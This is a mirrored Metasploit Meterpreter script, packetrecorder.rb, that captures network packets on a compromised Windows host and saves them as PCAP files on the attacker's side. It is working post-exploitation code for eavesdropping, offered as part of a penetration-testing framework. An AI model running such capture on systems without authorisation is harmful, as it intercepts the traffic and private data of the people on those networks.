Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

packetrecorder.rb 6.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. #-------------------------------------------------------------------------------
  8. ################## Variable Declarations ##################
  9. @client = client
  10. # Interval for recording packets
  11. rec_time = 30
  12. # Interface ID
  13. int_id = nil
  14. # List Interfaces
  15. list_int = nil
  16. # Log Folder
  17. log_dest = nil
  18. @exec_opts = Rex::Parser::Arguments.new(
  19. "-h" => [ false, "Help menu."],
  20. "-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
  21. "-i" => [ true, "Interface ID number where all packet capture will be done."],
  22. "-L" => [ false, "List interfaces that can be used for capture."],
  23. "-l" => [ true, "Specify and alternate folder to save PCAP file."]
  24. )
  25. meter_type = client.platform
  26. ################## Function Declarations ##################
  27. # Usage Message Function
  28. #-------------------------------------------------------------------------------
  29. def usage
  30. print_line "Meterpreter Script for capturing packets in to a PCAP file"
  31. print_line "on a target host given a interface ID."
  32. print_line(@exec_opts.usage)
  33. raise Rex::Script::Completed
  34. end
  35. # Wrong Meterpreter Version Message Function
  36. #-------------------------------------------------------------------------------
  37. def wrong_meter_version(meter = meter_type)
  38. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  39. raise Rex::Script::Completed
  40. end
  41. # Function for creating log folder and returning log pa
  42. #-------------------------------------------------------------------------------
  43. def log_file(log_path = nil)
  44. #Get hostname
  45. host = @client.sys.config.sysinfo["Computer"]
  46. # Create Filename info to be appended to downloaded files
  47. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  48. # Create a directory for the logs
  49. if log_path
  50. logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
  51. else
  52. logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
  53. end
  54. # Create the log directory
  55. ::FileUtils.mkdir_p(logs)
  56. #logfile name
  57. logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
  58. return Rex::FileUtils.clean_path(logfile)
  59. end
  60. #Function for Starting Capture
  61. #-------------------------------------------------------------------------------
  62. def startsniff(interface_id)
  63. begin
  64. #Load Sniffer module
  65. @client.core.use("sniffer")
  66. print_status("Starting Packet capture on interface #{interface_id}")
  67. #starting packet capture with a buffer size of 200,000 packets
  68. @client.sniffer.capture_start(interface_id, 200000)
  69. print_good("Packet capture started")
  70. rescue ::Exception => e
  71. print_status("Error Starting Packet Capture: #{e.class} #{e}")
  72. raise Rex::Script::Completed
  73. end
  74. end
  75. #Function for Recording captured packets into PCAP file
  76. #-------------------------------------------------------------------------------
  77. def packetrecord(packtime, logfile,intid)
  78. begin
  79. rec = 1
  80. print_status("Packets being saved in to #{logfile}")
  81. print_status("Packet capture interval is #{packtime} Seconds")
  82. #Inserting Packets every number of seconds specified
  83. while rec == 1
  84. path_cap = logfile
  85. path_raw = logfile + '.raw'
  86. fd = ::File.new(path_raw, 'wb+')
  87. #Flushing Buffers
  88. res = @client.sniffer.capture_dump(intid)
  89. bytes_all = res[:bytes] || 0
  90. bytes_got = 0
  91. bytes_pct = 0
  92. while (bytes_all > 0)
  93. res = @client.sniffer.capture_dump_read(intid,1024*512)
  94. bytes_got += res[:bytes]
  95. pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
  96. if(pct > bytes_pct)
  97. bytes_pct = pct
  98. end
  99. break if res[:bytes] == 0
  100. fd.write(res[:data])
  101. end
  102. fd.close
  103. #Converting raw file to PCAP
  104. fd = nil
  105. if(::File.exist?(path_cap))
  106. fd = ::File.new(path_cap, 'ab+')
  107. else
  108. fd = ::File.new(path_cap, 'wb+')
  109. fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
  110. end
  111. od = ::File.new(path_raw, 'rb')
  112. # TODO: reorder packets based on the ID (only an issue if the buffer wraps)
  113. while(true)
  114. buf = od.read(20)
  115. break if not buf
  116. idh,idl,thi,tlo,len = buf.unpack('N5')
  117. break if not len
  118. if(len > 10000)
  119. print_error("Corrupted packet data (length:#{len})")
  120. break
  121. end
  122. pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
  123. pkt = od.read(len)
  124. fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
  125. end
  126. od.close
  127. fd.close
  128. ::File.unlink(path_raw)
  129. sleep(2)
  130. sleep(packtime.to_i)
  131. end
  132. rescue::Exception => e
  133. print("\n")
  134. print_status("#{e.class} #{e}")
  135. print_good("Stopping Packet sniffer...")
  136. @client.sniffer.capture_stop(intid)
  137. end
  138. end
  139. # Function for listing interfaces
  140. # ------------------------------------------------------------------------------
  141. def int_list()
  142. begin
  143. @client.core.use("sniffer")
  144. ifaces = @client.sniffer.interfaces()
  145. print_line()
  146. ifaces.each do |i|
  147. print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
  148. i['idx'], i['description'],
  149. i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
  150. )
  151. end
  152. print_line()
  153. rescue ::Exception => e
  154. print_error("Error listing interface: #{e.class} #{e}")
  155. end
  156. raise Rex::Script::Completed
  157. end
  158. ################## Main ##################
  159. @exec_opts.parse(args) { |opt, idx, val|
  160. case opt
  161. when "-h"
  162. usage
  163. when "-i"
  164. int_id = val.to_i
  165. when "-l"
  166. log_dest = val
  167. when "-L"
  168. list_int = 1
  169. when "-t"
  170. rec_time = val
  171. end
  172. }
  173. # Check for Version of Meterpreter
  174. wrong_meter_version(meter_type) if meter_type != 'windows'
  175. if !int_id.nil? or !list_int.nil?
  176. if not is_uac_enabled? or is_admin?
  177. if !list_int.nil?
  178. int_list
  179. else
  180. pcap_file = log_file(log_dest)
  181. startsniff(int_id)
  182. packetrecord(rec_time,pcap_file,int_id)
  183. end
  184. else
  185. print_error("Access denied (UAC enabled?)")
  186. end
  187. else
  188. usage
  189. end